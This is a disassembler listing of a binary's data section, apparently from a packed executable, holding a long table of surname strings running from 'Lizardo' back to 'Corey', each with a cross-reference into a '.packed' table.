aLizardo db 'Lizardo',0 ; DATA XREF: .packed:0042F674o
aLivolsi db 'Livolsi',0 ; DATA XREF: .packed:0042F670o
aLivi db 'Livi',0 ; DATA XREF: .packed:0042F66Co
align 4
aLivernash db 'Livernash',0 ; DATA XREF: .packed:0042F668o
align 10h
aLitvak db 'Litvak',0 ; DATA XREF: .packed:0042F664o
align 4
aLittle db 'Little',0 ; DATA XREF: .packed:0042F660o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: .packed:0042F65Co
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .packed:0042F658o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: .packed:0042F654o
align 10h
aLinehan db 'Linehan',0 ; DATA XREF: .packed:0042F650o
aLine db 'Line',0 ; DATA XREF: .packed:0042F64Co
align 10h
aLinder db 'Linder',0 ; DATA XREF: .packed:0042F648o
align 4
aLinda db 'Linda',0 ; DATA XREF: .packed:0042F644o
align 10h
aLinares db 'Linares',0 ; DATA XREF: .packed:0042F640o
aLim db 'Lim',0 ; DATA XREF: .packed:0042F63Co
aLightfoot db 'Lightfoot',0 ; DATA XREF: .packed:0042F638o
align 4
aLight db 'Light',0 ; DATA XREF: .packed:0042F634o
align 10h
aLiem db 'Liem',0 ; DATA XREF: .packed:0042F630o
align 4
aLidano db 'Lidano',0 ; DATA XREF: .packed:0042F62Co
align 10h
aLiakos db 'Liakos',0 ; DATA XREF: .packed:0042F628o
align 4
aLessi db 'Lessi',0 ; DATA XREF: .packed:0042F624o
align 10h
aLesser db 'Lesser',0 ; DATA XREF: .packed:0042F620o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .packed:0042F61Co
align 4
aLenard db 'Lenard',0 ; DATA XREF: .packed:0042F618o
align 4
aLeite db 'Leite',0 ; DATA XREF: .packed:0042F614o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: .packed:0042F610o
align 10h
aLecce db 'Lecce',0 ; DATA XREF: .packed:0042F60Co
align 4
aLecar db 'Lecar',0 ; DATA XREF: .packed:0042F608o
align 10h
aLawless db 'Lawless',0 ; DATA XREF: .packed:0042F604o
aLashley db 'Lashley',0 ; DATA XREF: .packed:0042F600o
aLaserna db 'Laserna',0 ; DATA XREF: .packed:0042F5FCo
aLanzit db 'Lanzit',0 ; DATA XREF: .packed:0042F5F8o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: .packed:0042F5F4o
align 4
aLankes db 'Lankes',0 ; DATA XREF: .packed:0042F5F0o
align 4
aLandes db 'Landes',0 ; DATA XREF: .packed:0042F5ECo
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .packed:0042F5E8o
align 4
aLaing db 'Laing',0 ; DATA XREF: .packed:0042F5E4o
align 10h
aLafler db 'Lafler',0 ; DATA XREF: .packed:0042F5E0o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .packed:0042F5DCo
aLa db 'La',0 ; DATA XREF: .packed:0042F5D8o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: .packed:0042F5D4o
align 10h
aKusman db 'Kusman',0 ; DATA XREF: .packed:0042F5D0o
align 4
aKumar db 'Kumar',0 ; DATA XREF: .packed:0042F5CCo
align 10h
aKuenzli db 'Kuenzli',0 ; DATA XREF: .packed:0042F5C8o
aKrysiak db 'Krysiak',0 ; DATA XREF: .packed:0042F5C4o
aKroemer db 'Kroemer',0 ; DATA XREF: .packed:0042F5C0o
aKraus db 'Kraus',0 ; DATA XREF: .packed:0042F5BCo
align 10h
aKrasney db 'Krasney',0 ; DATA XREF: .packed:0042F5B8o
aKrailo db 'Krailo',0 ; DATA XREF: .packed:0042F5B4o
align 10h
aKraemer db 'Kraemer',0 ; DATA XREF: .packed:0042F5B0o
aKovaks db 'Kovaks',0 ; DATA XREF: .packed:0042F5ACo
align 10h
aKotter db 'Kotter',0 ; DATA XREF: .packed:0042F5A8o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .packed:0042F5A4o
align 4
aKool db 'Kool',0 ; DATA XREF: .packed:0042F5A0o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .packed:0042F59Co
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: .packed:0042F598o
align 10h
aKommer db 'Kommer',0 ; DATA XREF: .packed:0042F594o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .packed:0042F590o
align 4
aKohn db 'Kohn',0 ; DATA XREF: .packed:0042F58Co
align 4
aKoch db 'Koch',0 ; DATA XREF: .packed:0042F588o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: .packed:0042F584o
aKnuff db 'Knuff',0 ; DATA XREF: .packed:0042F580o
align 4
aKlint db 'Klint',0 ; DATA XREF: .packed:0042F57Co
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .packed:0042F578o
aKling db 'Kling',0 ; DATA XREF: .packed:0042F574o
align 10h
aKlemperer db 'Klemperer',0 ; DATA XREF: .packed:0042F570o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .packed:0042F56Co
aKleiman db 'Kleiman',0 ; DATA XREF: .packed:0042F568o
aKleckner db 'Kleckner',0 ; DATA XREF: .packed:0042F564o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: .packed:0042F560o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .packed:0042F55Co
aKippenberger db 'Kippenberger',0 ; DATA XREF: .packed:0042F558o
align 10h
aKinsley db 'Kinsley',0 ; DATA XREF: .packed:0042F554o
aKindall db 'Kindall',0 ; DATA XREF: .packed:0042F550o
aKimura db 'Kimura',0 ; DATA XREF: .packed:0042F54Co
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .packed:0042F548o
aKimmel db 'Kimmel',0 ; DATA XREF: .packed:0042F544o
align 4
aKhong db 'Khong',0 ; DATA XREF: .packed:0042F540o
align 10h
aKeul db 'Keul',0 ; DATA XREF: .packed:0042F53Co
align 4
aKerry db 'Kerry',0 ; DATA XREF: .packed:0042F538o
align 10h
aKendall db 'Kendall',0 ; DATA XREF: .packed:0042F534o
aKemsley db 'Kemsley',0 ; DATA XREF: .packed:0042F530o
aKempton db 'Kempton',0 ; DATA XREF: .packed:0042F52Co
aKelsey db 'Kelsey',0 ; DATA XREF: .packed:0042F528o
align 10h
aKelker db 'Kelker',0 ; DATA XREF: .packed:0042F524o
align 4
aKeith db 'Keith',0 ; DATA XREF: .packed:0042F520o
align 10h
aKeepper db 'Keepper',0 ; DATA XREF: .packed:0042F51Co
aKeenan db 'Keenan',0 ; DATA XREF: .packed:0042F518o
align 10h
aKee db 'Kee',0 ; DATA XREF: .packed:0042F514o
aKawachi db 'Kawachi',0 ; DATA XREF: .packed:0042F510o
aKasten db 'Kasten',0 ; DATA XREF: .packed:0042F50Co
align 4
aKassower db 'Kassower',0 ; DATA XREF: .packed:0042F508o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .packed:0042F504o
align 4
aKangis db 'Kangis',0 ; DATA XREF: .packed:0042F500o
align 4
aKamel db 'Kamel',0 ; DATA XREF: .packed:0042F4FCo
align 4
aKalman db 'Kalman',0 ; DATA XREF: .packed:0042F4F8o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: .packed:0042F4F4o
align 10h
aKalil db 'Kalil',0 ; DATA XREF: .packed:0042F4F0o
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: .packed:0042F4ECo
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .packed:0042F4E8o
aKafadar db 'Kafadar',0 ; DATA XREF: .packed:0042F4E4o
aKaboolian db 'Kaboolian',0 ; DATA XREF: .packed:0042F4E0o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: .packed:0042F4DCo
aJulious db 'Julious',0 ; DATA XREF: .packed:0042F4D8o
aJuliano db 'Juliano',0 ; DATA XREF: .packed:0042F4D4o
aJucks db 'Jucks',0 ; DATA XREF: .packed:0042F4D0o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: .packed:0042F4CCo
align 10h
aJolly db 'Jolly',0 ; DATA XREF: .packed:0042F4C8o
align 4
aJohns db 'Johns',0 ; DATA XREF: .packed:0042F4C4o
align 10h
aJohannsen db 'Johannsen',0 ; DATA XREF: .packed:0042F4C0o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .packed:0042F4BCo
aJewett db 'Jewett',0 ; DATA XREF: .packed:0042F4B8o
align 10h
aJespersen db 'Jespersen',0 ; DATA XREF: .packed:0042F4B4o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .packed:0042F4B0o
aJellis db 'Jellis',0 ; DATA XREF: .packed:0042F4ACo
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: .packed:0042F4A8o
aJay db 'Jay',0 ; DATA XREF: .packed:0042F4A4o
aJarrell db 'Jarrell',0 ; DATA XREF: .packed:0042F4A0o
aJarnagin db 'Jarnagin',0 ; DATA XREF: .packed:0042F49Co
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .packed:0042F498o
align 4
aJamil db 'Jamil',0 ; DATA XREF: .packed:0042F494o
align 10h
aJain db 'Jain',0 ; DATA XREF: .packed:0042F490o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .packed:0042F48Co
align 10h
aJagger db 'Jagger',0 ; DATA XREF: .packed:0042F488o
align 4
aJagers db 'Jagers',0 ; DATA XREF: .packed:0042F484o
align 10h
aJackson db 'Jackson',0 ; DATA XREF: .packed:0042F480o
aJacenko db 'Jacenko',0 ; DATA XREF: .packed:0042F47Co
aIyer db 'Iyer',0 ; DATA XREF: .packed:0042F478o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .packed:0042F474o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: .packed:0042F470o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .packed:0042F46Co
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .packed:0042F468o
align 10h
aInniss db 'Inniss',0 ; DATA XREF: .packed:0042F464o
align 4
aInamura db 'Inamura',0 ; DATA XREF: .packed:0042F460o
aIgarashi db 'Igarashi',0 ; DATA XREF: .packed:0042F45Co
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .packed:0042F458o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .packed:0042F454o
align 4
aHyde db 'Hyde',0 ; DATA XREF: .packed:0042F450o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .packed:0042F44Co
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: .packed:0042F448o
align 4
aHupp db 'Hupp',0 ; DATA XREF: .packed:0042F444o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .packed:0042F440o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: .packed:0042F43Co
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .packed:0042F438o
align 10h
aHuey db 'Huey',0 ; DATA XREF: .packed:0042F434o
align 4
aHoy db 'Hoy',0 ; DATA XREF: .packed:0042F430o
aHoward db 'Howard',0 ; DATA XREF: .packed:0042F42Co
align 4
aHottle db 'Hottle',0 ; DATA XREF: .packed:0042F428o
align 4
aHostage db 'Hostage',0 ; DATA XREF: .packed:0042F424o
aHoshida db 'Hoshida',0 ; DATA XREF: .packed:0042F420o
aHorsley db 'Horsley',0 ; DATA XREF: .packed:0042F41Co
aHopkins db 'Hopkins',0 ; DATA XREF: .packed:0042F418o
aHooker db 'Hooker',0 ; DATA XREF: .packed:0042F414o
align 4
aHolzman db 'Holzman',0 ; DATA XREF: .packed:0042F410o
aHolway db 'Holway',0 ; DATA XREF: .packed:0042F40Co
align 4
aHolter db 'Holter',0 ; DATA XREF: .packed:0042F408o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .packed:0042F404o
aHolmes db 'Holmes',0 ; DATA XREF: .packed:0042F400o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .packed:0042F3FCo
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: .packed:0042F3F8o
align 10h
aHoffman db 'Hoffman',0 ; DATA XREF: .packed:0042F3F4o
aHoffer db 'Hoffer',0 ; DATA XREF: .packed:0042F3F0o
align 10h
aHock db 'Hock',0 ; DATA XREF: .packed:0042F3ECo
align 4
aHoang db 'Hoang',0 ; DATA XREF: .packed:0042F3E8o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: .packed:0042F3E4o
align 4
aHirst db 'Hirst',0 ; DATA XREF: .packed:0042F3E0o
align 4
aHind db 'Hind',0 ; DATA XREF: .packed:0042F3DCo
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .packed:0042F3D8o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: .packed:0042F3D4o
align 10h
aHeubert db 'Heubert',0 ; DATA XREF: .packed:0042F3D0o
aHester db 'Hester',0 ; DATA XREF: .packed:0042F3CCo
align 10h
aHerrera db 'Herrera',0 ; DATA XREF: .packed:0042F3C8o
aHernandez db 'Hernandez',0 ; DATA XREF: .packed:0042F3C4o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: .packed:0042F3C0o
align 10h
aHenery db 'Henery',0 ; DATA XREF: .packed:0042F3BCo
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: .packed:0042F3B8o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: .packed:0042F3B4o
aHellmiss db 'Hellmiss',0 ; DATA XREF: .packed:0042F3B0o
align 4
aHellman db 'Hellman',0 ; DATA XREF: .packed:0042F3ACo
aHeiland db 'Heiland',0 ; DATA XREF: .packed:0042F3A8o
aHeft db 'Heft',0 ; DATA XREF: .packed:0042F3A4o
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: .packed:0042F3A0o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .packed:0042F39Co
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .packed:0042F398o
align 10h
aHayes db 'Hayes',0 ; DATA XREF: .packed:0042F394o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .packed:0042F390o
align 10h
aHaviaras db 'Haviaras',0 ; DATA XREF: .packed:0042F38Co
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .packed:0042F388o
aHartnett db 'Hartnett',0 ; DATA XREF: .packed:0042F384o
align 10h
aHartmann db 'Hartmann',0 ; DATA XREF: .packed:0042F380o
align 4
aHartman db 'Hartman',0 ; DATA XREF: .packed:0042F37Co
aHarrigan db 'Harrigan',0 ; DATA XREF: .packed:0042F378o
align 10h
aHarlow db 'Harlow',0 ; DATA XREF: .packed:0042F374o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: .packed:0042F370o
align 4
aHarding db 'Harding',0 ; DATA XREF: .packed:0042F36Co
aHanssen db 'Hanssen',0 ; DATA XREF: .packed:0042F368o
aHand db 'Hand',0 ; DATA XREF: .packed:0042F364o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .packed:0042F360o
align 4
aHamer db 'Hamer',0 ; DATA XREF: .packed:0042F35Co
align 10h
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .packed:0042F358o
align 10h
aHalpert db 'Halpert',0 ; DATA XREF: .packed:0042F354o
aHallowell db 'Hallowell',0 ; DATA XREF: .packed:0042F350o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: .packed:0042F34Co
aHaley db 'Haley',0 ; DATA XREF: .packed:0042F348o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: .packed:0042F344o
align 10h
aHackman db 'Hackman',0 ; DATA XREF: .packed:0042F340o
aHaar db 'Haar',0 ; DATA XREF: .packed:0042F33Co
align 10h
aHa db 'Ha',0 ; DATA XREF: .packed:0042F338o
align 4
aGuo db 'Guo',0 ; DATA XREF: .packed:0042F334o
aGunn db 'Gunn',0 ; DATA XREF: .packed:0042F330o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: .packed:0042F32Co
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .packed:0042F328o
align 4
aGruner db 'Gruner',0 ; DATA XREF: .packed:0042F324o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .packed:0042F320o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .packed:0042F31Co
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: .packed:0042F318o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .packed:0042F314o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: .packed:0042F310o
align 4
aGravell db 'Gravell',0 ; DATA XREF: .packed:0042F30Co
aGozzi db 'Gozzi',0 ; DATA XREF: .packed:0042F308o
align 4
aGoody db 'Goody',0 ; DATA XREF: .packed:0042F304o
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: .packed:0042F300o
align 4
aGood db 'Good',0 ; DATA XREF: .packed:0042F2FCo
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: .packed:0042F2F8o
align 10h
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .packed:0042F2F4o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .packed:0042F2F0o
aGlegg db 'Glegg',0 ; DATA XREF: .packed:0042F2ECo
align 4
aGleason db 'Gleason',0 ; DATA XREF: .packed:0042F2E8o
aGist db 'Gist',0 ; DATA XREF: .packed:0042F2E4o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .packed:0042F2E0o
align 4
aGill db 'Gill',0 ; DATA XREF: .packed:0042F2DCo
align 10h
aGili db 'Gili',0 ; DATA XREF: .packed:0042F2D8o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .packed:0042F2D4o
aGibson db 'Gibson',0 ; DATA XREF: .packed:0042F2D0o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .packed:0042F2CCo
aGhorai db 'Ghorai',0 ; DATA XREF: .packed:0042F2C8o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .packed:0042F2C4o
aGeorgi db 'Georgi',0 ; DATA XREF: .packed:0042F2C0o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: .packed:0042F2BCo
align 4
aGeller db 'Geller',0 ; DATA XREF: .packed:0042F2B8o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .packed:0042F2B4o
aGarman db 'Garman',0 ; DATA XREF: .packed:0042F2B0o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: .packed:0042F2ACo
align 4
aGambini db 'Gambini',0 ; DATA XREF: .packed:0042F2A8o
aGalwey db 'Galwey',0 ; DATA XREF: .packed:0042F2A4o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: .packed:0042F2A0o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .packed:0042F29Co
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: .packed:0042F298o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .packed:0042F294o
align 4
aFurth db 'Furth',0 ; DATA XREF: .packed:0042F290o
align 4
aFuller db 'Fuller',0 ; DATA XREF: .packed:0042F28Co
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .packed:0042F288o
align 10h
aFrye db 'Frye',0 ; DATA XREF: .packed:0042F284o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: .packed:0042F280o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: .packed:0042F27Co
aFrisken db 'Frisken',0 ; DATA XREF: .packed:0042F278o
aFriedland db 'Friedland',0 ; DATA XREF: .packed:0042F274o
align 10h
aFried db 'Fried',0 ; DATA XREF: .packed:0042F270o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: .packed:0042F26Co
align 4
aFreid db 'Freid',0 ; DATA XREF: .packed:0042F268o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .packed:0042F264o
align 4
aFranz db 'Franz',0 ; DATA XREF: .packed:0042F260o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .packed:0042F25Co
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: .packed:0042F258o
align 10h
aFossi db 'Fossi',0 ; DATA XREF: .packed:0042F254o
align 4
aFossey db 'Fossey',0 ; DATA XREF: .packed:0042F250o
align 10h
aFortier db 'Fortier',0 ; DATA XREF: .packed:0042F24Co
aFortes db 'Fortes',0 ; DATA XREF: .packed:0042F248o
align 10h
aForester db 'Forester',0 ; DATA XREF: .packed:0042F244o
align 4
aFolks db 'Folks',0 ; DATA XREF: .packed:0042F240o
align 4
aFlores db 'Flores',0 ; DATA XREF: .packed:0042F23Co
align 4
aFlier db 'Flier',0 ; DATA XREF: .packed:0042F238o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .packed:0042F234o
aFisk db 'Fisk',0 ; DATA XREF: .packed:0042F230o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .packed:0042F22Co
aFinnegan db 'Finnegan',0 ; DATA XREF: .packed:0042F228o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .packed:0042F224o
aFink db 'Fink',0 ; DATA XREF: .packed:0042F220o
align 10h
aField db 'Field',0 ; DATA XREF: .packed:0042F21Co
align 4
aFido db 'Fido',0 ; DATA XREF: .packed:0042F218o
align 10h
aFeuer db 'Feuer',0 ; DATA XREF: .packed:0042F214o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: .packed:0042F210o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: .packed:0042F20Co
align 10h
aFernandes db 'Fernandes',0 ; DATA XREF: .packed:0042F208o
align 4
aFernald db 'Fernald',0 ; DATA XREF: .packed:0042F204o
aFeldman db 'Feldman',0 ; DATA XREF: .packed:0042F200o
aFejzo db 'Fejzo',0 ; DATA XREF: .packed:0042F1FCo
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .packed:0042F1F8o
align 10h
aFates db 'Fates',0 ; DATA XREF: .packed:0042F1F4o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .packed:0042F1F0o
align 10h
aFarren db 'Farren',0 ; DATA XREF: .packed:0042F1ECo
align 4
aFarone db 'Farone',0 ; DATA XREF: .packed:0042F1E8o
align 10h
aFaris db 'Faris',0 ; DATA XREF: .packed:0042F1E4o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .packed:0042F1E0o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .packed:0042F1DCo
align 10h
aFaioes db 'Faioes',0 ; DATA XREF: .packed:0042F1D8o
align 4
aFagan db 'Fagan',0 ; DATA XREF: .packed:0042F1D4o
align 10h
aFabbris db 'Fabbris',0 ; DATA XREF: .packed:0042F1D0o
aEverett db 'Everett',0 ; DATA XREF: .packed:0042F1CCo
aEuripides db 'Euripides',0 ; DATA XREF: .packed:0042F1C8o
align 4
aEtter db 'Etter',0 ; DATA XREF: .packed:0042F1C4o
align 4
aEstes db 'Estes',0 ; DATA XREF: .packed:0042F1C0o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .packed:0042F1BCo
align 4
aErez db 'Erez',0 ; DATA XREF: .packed:0042F1B8o
align 10h
aErdos db 'Erdos',0 ; DATA XREF: .packed:0042F1B4o
align 4
aErdman db 'Erdman',0 ; DATA XREF: .packed:0042F1B0o
align 10h
aErbach db 'Erbach',0 ; DATA XREF: .packed:0042F1ACo
align 4
aEppling db 'Eppling',0 ; DATA XREF: .packed:0042F1A8o
aEnyeart db 'Enyeart',0 ; DATA XREF: .packed:0042F1A4o
aEncinas db 'Encinas',0 ; DATA XREF: .packed:0042F1A0o
aElvis db 'Elvis',0 ; DATA XREF: .packed:0042F19Co
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: .packed:0042F198o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: .packed:0042F194o
align 10h
aEliasson db 'Eliasson',0 ; DATA XREF: .packed:0042F190o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .packed:0042F18Co
aEdward db 'Edward',0 ; DATA XREF: .packed:0042F188o
align 10h
aEdner db 'Edner',0 ; DATA XREF: .packed:0042F184o
align 4
aEdley db 'Edley',0 ; DATA XREF: .packed:0042F180o
align 10h
aEckel db 'Eckel',0 ; DATA XREF: .packed:0042F17Co
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: .packed:0042F178o
aEardley db 'Eardley',0 ; DATA XREF: .packed:0042F174o
aDwyer db 'Dwyer',0 ; DATA XREF: .packed:0042F170o
align 10h
aDussault db 'Dussault',0 ; DATA XREF: .packed:0042F16Co
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .packed:0042F168o
aDuffin db 'Duffin',0 ; DATA XREF: .packed:0042F164o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .packed:0042F160o
aDrinker db 'Drinker',0 ; DATA XREF: .packed:0042F15Co
aDowsland db 'Dowsland',0 ; DATA XREF: .packed:0042F158o
align 4
aDoug db 'Doug',0 ; DATA XREF: .packed:0042F154o
align 10h
aDoty db 'Doty',0 ; DATA XREF: .packed:0042F150o
align 4
aDosi db 'Dosi',0 ; DATA XREF: .packed:0042F14Co
align 10h
aDorf db 'Dorf',0 ; DATA XREF: .packed:0042F148o
align 4
aDore db 'Dore',0 ; DATA XREF: .packed:0042F144o
align 10h
aDoonan db 'Doonan',0 ; DATA XREF: .packed:0042F140o
align 4
aDonner db 'Donner',0 ; DATA XREF: .packed:0042F13Co
align 10h
aDonahue db 'Donahue',0 ; DATA XREF: .packed:0042F138o
aDoherty db 'Doherty',0 ; DATA XREF: .packed:0042F134o
aDockery db 'Dockery',0 ; DATA XREF: .packed:0042F130o
aDirksen db 'Dirksen',0 ; DATA XREF: .packed:0042F12Co
aDionysius db 'Dionysius',0 ; DATA XREF: .packed:0042F128o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .packed:0042F124o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: .packed:0042F120o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: .packed:0042F11Co
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .packed:0042F118o
align 4
aDicks db 'Dicks',0 ; DATA XREF: .packed:0042F114o
align 10h
aDFini db 'D',27h,'fini',0 ; DATA XREF: .packed:0042F110o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .packed:0042F10Co
aDesombre db 'Desombre',0 ; DATA XREF: .packed:0042F108o
align 4
aDenison db 'Denison',0 ; DATA XREF: .packed:0042F104o
aDenham db 'Denham',0 ; DATA XREF: .packed:0042F100o
align 4
aDenault db 'Denault',0 ; DATA XREF: .packed:0042F0FCo
aDemusz db 'Demusz',0 ; DATA XREF: .packed:0042F0F8o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .packed:0042F0F4o
align 4
aDeming db 'Deming',0 ; DATA XREF: .packed:0042F0F0o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042F0ECo
align 4
aDelger db 'Delger',0 ; DATA XREF: .packed:0042F0E8o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .packed:0042F0E4o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: .packed:0042F0E0o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: .packed:0042F0DCo
align 4
aDees db 'Dees',0 ; DATA XREF: .packed:0042F0D8o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: .packed:0042F0D4o
aDerousse db 'deRousse',0 ; DATA XREF: .packed:0042F0D0o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042F0CCo
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: .packed:0042F0C8o
align 10h
aDegennaro db 'DeGennaro',0 ; DATA XREF: .packed:0042F0C4o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .packed:0042F0C0o
aDavid db 'David',0 ; DATA XREF: .packed:0042F0BCo
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .packed:0042F0B8o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .packed:0042F0B4o
align 10h
aDas db 'Das',0 ; DATA XREF: .packed:0042F0B0o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042F0ACo
aDapice db 'Dapice',0 ; DATA XREF: .packed:0042F0A8o
align 4
aDante db 'Dante',0 ; DATA XREF: .packed:0042F0A4o
align 10h
aDanieli db 'Danieli',0 ; DATA XREF: .packed:0042F0A0o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .packed:0042F09Co
aDaly db 'Daly',0 ; DATA XREF: .packed:0042F098o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: .packed:0042F094o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: .packed:0042F090o
aCyders db 'Cyders',0 ; DATA XREF: .packed:0042F08Co
align 4
aCvek db 'Cvek',0 ; DATA XREF: .packed:0042F088o
align 4
aCutler db 'Cutler',0 ; DATA XREF: .packed:0042F084o
align 4
aCurrier db 'Currier',0 ; DATA XREF: .packed:0042F080o
aCui db 'Cui',0 ; DATA XREF: .packed:0042F07Co
aCroxton db 'Croxton',0 ; DATA XREF: .packed:0042F078o
aCroxen db 'Croxen',0 ; DATA XREF: .packed:0042F074o
align 10h
aCroshaw db 'Croshaw',0 ; DATA XREF: .packed:0042F070o
aCrocker db 'Crocker',0 ; DATA XREF: .packed:0042F06Co
aCrawford db 'Crawford',0 ; DATA XREF: .packed:0042F068o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: .packed:0042F064o
aCounter db 'Counter',0 ; DATA XREF: .packed:0042F060o
aCosmides db 'Cosmides',0 ; DATA XREF: .packed:0042F05Co
align 4
aCornish db 'Cornish',0 ; DATA XREF: .packed:0042F058o
aCorey db 'Corey',0 ; DATA XREF: .packed:0042F054o
align 4
